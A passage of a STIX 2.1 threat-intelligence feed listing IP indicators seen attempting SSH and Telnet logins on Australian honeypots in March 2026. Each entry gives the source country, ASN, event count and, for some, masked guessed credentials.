      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--669483fc-43cc-4127-a4e4-9c059da887ef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T02:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '54.67.65.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T02:15:05.000Z",
      "valid_until": "2026-04-30T02:15:00.000Z"
    },
    {
      "created": "2026-03-29T02:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JM. ASN(s): 11580. Organisation(s): Island Networks Ltd.",
      "id": "indicator--74c3ef4b-8961-4ebc-ba9c-e78b1e3d3e68",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T02:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '74.116.58.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T02:15:05.000Z",
      "valid_until": "2026-04-30T02:15:00.000Z"
    },
    {
      "created": "2026-03-29T03:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 224. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, !*******3, 2****2, G******3.",
      "id": "indicator--e29dab96-9632-46aa-874e-7f80fd558e55",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T03:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.187.146.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T03:15:03.000Z",
      "valid_until": "2026-04-30T03:15:01.000Z"
    },
    {
      "created": "2026-03-29T03:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): q*********5.",
      "id": "indicator--0e7b6d3b-d342-4d22-940d-aaf91bf94db7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T03:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '120.48.104.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T03:15:03.000Z",
      "valid_until": "2026-04-30T03:15:01.000Z"
    },
    {
      "created": "2026-03-29T03:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 24186. Organisation(s): RailTel Corporation of India Ltd. Usernames observed (masked): r**t. Passwords observed (masked): h****h.",
      "id": "indicator--7103cddd-ef71-4e05-a401-5e5054901737",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T03:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '122.252.246.1']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T03:15:03.000Z",
      "valid_until": "2026-04-30T03:15:01.000Z"
    },
    {
      "created": "2026-03-29T03:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 197540. Organisation(s): netcup GmbH.",
      "id": "indicator--e7488ea9-5221-403e-947d-9987c65fc1a3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T03:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '159.195.26.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T03:15:03.000Z",
      "valid_until": "2026-04-30T03:15:01.000Z"
    },
    {
      "created": "2026-03-29T03:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 38841. Organisation(s): kbro CO. Ltd..",
      "id": "indicator--3bc60fdb-e168-4e2f-94c2-a5c4d782f4fd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T03:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '180.176.168.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T03:15:03.000Z",
      "valid_until": "2026-04-30T03:15:01.000Z"
    },
    {
      "created": "2026-03-29T03:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398722. Organisation(s): Censys, Inc..",
      "id": "indicator--82692d42-8b87-435f-9971-0ae9771de086",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T03:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '199.45.154.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T03:15:03.000Z",
      "valid_until": "2026-04-30T03:15:01.000Z"
    },
    {
      "created": "2026-03-29T03:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 9908. Organisation(s): HK Cable TV Ltd. Usernames observed (masked): r**t. Passwords observed (masked): B*********@, p*****4, q***s.",
      "id": "indicator--59f00d86-b2a6-4ccf-afcf-dde75f358674",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T03:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '222.167.161.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T03:15:03.000Z",
      "valid_until": "2026-04-30T03:15:01.000Z"
    },
    {
      "created": "2026-03-29T03:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 268467. Organisation(s): Voa Internet.",
      "id": "indicator--82dd4d07-caa7-449d-b116-c23be44dfbfc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T03:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.161.164.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T03:15:03.000Z",
      "valid_until": "2026-04-30T03:15:01.000Z"
    },
    {
      "created": "2026-03-29T03:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--d1085c4e-92ec-45bc-a779-092086132fff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T03:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T03:15:03.000Z",
      "valid_until": "2026-04-30T03:15:01.000Z"
    },
    {
      "created": "2026-03-29T03:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RO. ASN(s): 33977. Organisation(s): Banat Telecom Satelit S.R.L..",
      "id": "indicator--652432c8-d14e-4c44-a10c-5dca7939f15a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T03:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '86.107.24.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T03:15:03.000Z",
      "valid_until": "2026-04-30T03:15:01.000Z"
    },
    {
      "created": "2026-03-29T04:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t. Passwords observed (masked): p**************^.",
      "id": "indicator--8ff75ba4-f9e9-4b3e-a445-22c9aaccb812",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T04:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.172.205.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T04:15:05.000Z",
      "valid_until": "2026-04-30T04:15:01.000Z"
    },
    {
      "created": "2026-03-29T04:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t. Passwords observed (masked): D*******..",
      "id": "indicator--bf4aacd1-f21e-4ccb-b9a9-e5fe1fac1183",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T04:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.226.139.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T04:15:05.000Z",
      "valid_until": "2026-04-30T04:15:01.000Z"
    },
    {
      "created": "2026-03-29T04:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AE. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t. Passwords observed (masked): m****r.",
      "id": "indicator--481a2c52-abfc-49b5-bd38-b5f47a773f58",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T04:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.203.42.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T04:15:05.000Z",
      "valid_until": "2026-04-30T04:15:01.000Z"
    },
    {
      "created": "2026-03-29T04:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 47702. Organisation(s): Teleradiocompany Discovery Ltd..",
      "id": "indicator--faeb47a1-c77e-46f5-b6a1-e26023a35c5a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T04:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '213.109.226.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T04:15:05.000Z",
      "valid_until": "2026-04-30T04:15:01.000Z"
    },
    {
      "created": "2026-03-29T04:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 9381. Organisation(s): HKBN Enterprise Solutions HK Limited.",
      "id": "indicator--89346d5e-6347-4846-9ef9-1d12def2442c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T04:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '43.225.9.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T04:15:05.000Z",
      "valid_until": "2026-04-30T04:15:01.000Z"
    },
    {
      "created": "2026-03-29T04:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 184. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 701. Organisation(s): Verizon Business. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1********#, 1********$, 2******1, 3***********4, 3**********4.",
      "id": "indicator--db2f164e-86c6-4510-9087-b757291fb989",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T04:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '72.79.42.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T04:15:05.000Z",
      "valid_until": "2026-04-30T04:15:01.000Z"
    },
    {
      "created": "2026-03-29T05:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--5eb4c354-7518-4d37-b09a-900ef74ac85f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T05:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T05:15:04.000Z",
      "valid_until": "2026-04-30T05:15:01.000Z"
    },
    {
      "created": "2026-03-29T05:15:04.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 25. Sensors involved: Cowrie. Target ports: 22, 23. Source country: NL. ASN(s): 49870. Organisation(s): Alsycon B.V.. Usernames observed (masked): A**********, G*******************************1, G******************************************1, U********************************1. Passwords observed (masked): H**********************3, A****************************e, C********************e.",
      "id": "indicator--23b6403f-6741-46f0-9590-ca362e7e67bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T05:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.95.147.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T05:15:04.000Z",
      "valid_until": "2026-04-30T05:15:01.000Z"
    },
    {
      "created": "2026-03-29T05:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--f4004609-8ffc-4340-8530-b9e7f57bb427",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T05:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.225.106.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T05:15:04.000Z",
      "valid_until": "2026-04-30T05:15:01.000Z"
    },
    {
      "created": "2026-03-29T05:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--6f9bde29-5d9c-4f5e-b92e-85397bd74f2b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T05:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.226.80.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T05:15:04.000Z",
      "valid_until": "2026-04-30T05:15:01.000Z"
    },
    {
      "created": "2026-03-29T05:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 215925. Organisation(s): Vpsvault.host Ltd. Usernames observed (masked): r**t. Passwords observed (masked): a***n.",
      "id": "indicator--30a00dee-a7f4-416f-9590-29192c2c5e17",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T05:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '87.121.84.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T05:15:04.000Z",
      "valid_until": "2026-04-30T05:15:01.000Z"
    },
    {
      "created": "2026-03-29T06:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 166. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 3786. Organisation(s): LG DACOM Corporation. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 0**0, 1***********!, 2******7, 2****3, 3***********4.",
      "id": "indicator--2cdf57dc-e11b-453a-b5d5-47019682d7b1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T06:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '106.252.57.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T06:15:04.000Z",
      "valid_until": "2026-04-30T06:15:00.000Z"
    },
    {
      "created": "2026-03-29T06:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--1f079c1b-410c-4e84-8b68-27ba1eaf9a1c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T06:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '143.198.70.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T06:15:04.000Z",
      "valid_until": "2026-04-30T06:15:00.000Z"
    },
    {
      "created": "2026-03-29T06:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 27699. Organisation(s): TELEFONICA BRASIL S.A. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1**9, 1*****6, 1*******8, 1*****8, 3**********4.",
      "id": "indicator--4e87f640-017c-403d-a198-7a8f77e91c04",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T06:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.250.243.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T06:15:04.000Z",
      "valid_until": "2026-04-30T06:15:00.000Z"
    },
    {
      "created": "2026-03-29T06:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SE. ASN(s): 3301. Organisation(s): Telia Company AB.",
      "id": "indicator--95bf2c3c-83a0-43ab-861f-db09de7e4eee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T06:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '78.68.39.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T06:15:04.000Z",
      "valid_until": "2026-04-30T06:15:00.000Z"
    },
    {
      "created": "2026-03-29T07:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--e86e4e22-5701-4f1d-900c-65969cf15264",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T07:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '164.90.180.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T07:15:04.000Z",
      "valid_until": "2026-04-30T07:15:01.000Z"
    },
    {
      "created": "2026-03-29T07:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--fa4ff68c-9532-4ea8-85e6-720e37a0a1c6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T07:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.172.105.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T07:15:04.000Z",
      "valid_until": "2026-04-30T07:15:01.000Z"
    },
    {
      "created": "2026-03-29T07:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 273788. Organisation(s): CATARATAS NET. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3****4, 3***********4, 3**********4, P*******3, a***********0.",
      "id": "indicator--bc75803c-a1e8-465b-a5c7-d17bd0ec5058",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T07:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.233.113.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T07:15:04.000Z",
      "valid_until": "2026-04-30T07:15:01.000Z"
    },
    {
      "created": "2026-03-29T07:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--49b26535-ab32-4abc-85d0-563c7cf1f8e6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T07:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T07:15:04.000Z",
      "valid_until": "2026-04-30T07:15:01.000Z"
    },
    {
      "created": "2026-03-29T07:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 68. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 24940. Organisation(s): Hetzner Online GmbH. Usernames observed (masked): ***, g*****n, h**e, m***o, n***x. Passwords observed (masked): !******r, 1****1, 1****6, ***, g********3.",
      "id": "indicator--b5714144-cc6d-4ce8-8859-86475b9b883d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T07:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.107.222.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T07:15:04.000Z",
      "valid_until": "2026-04-30T07:15:01.000Z"
    },
    {
      "created": "2026-03-29T08:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--4b726767-0ea0-44a8-a9f9-ed64b621333f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T08:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.1.105.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T08:15:04.000Z",
      "valid_until": "2026-04-30T08:15:01.000Z"
    },
    {
      "created": "2026-03-29T09:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--63f781b6-d56a-4186-8134-4a67f88ac552",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T09:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '112.167.235.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T09:15:03.000Z",
      "valid_until": "2026-04-30T09:15:01.000Z"
    },
    {
      "created": "2026-03-29T09:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 211298. Organisation(s): Driftnet Ltd.",
      "id": "indicator--cb1a711e-fce8-4d90-a501-b48fe201ffb8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-29T09:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.247.137.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-29T09:15:03.000Z",
      "valid_until": "2026-04-30T09:15:01.000Z"
    },
    {
      "created": "2026-03-29T09:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t. Passwords observed (masked): a*****$.",
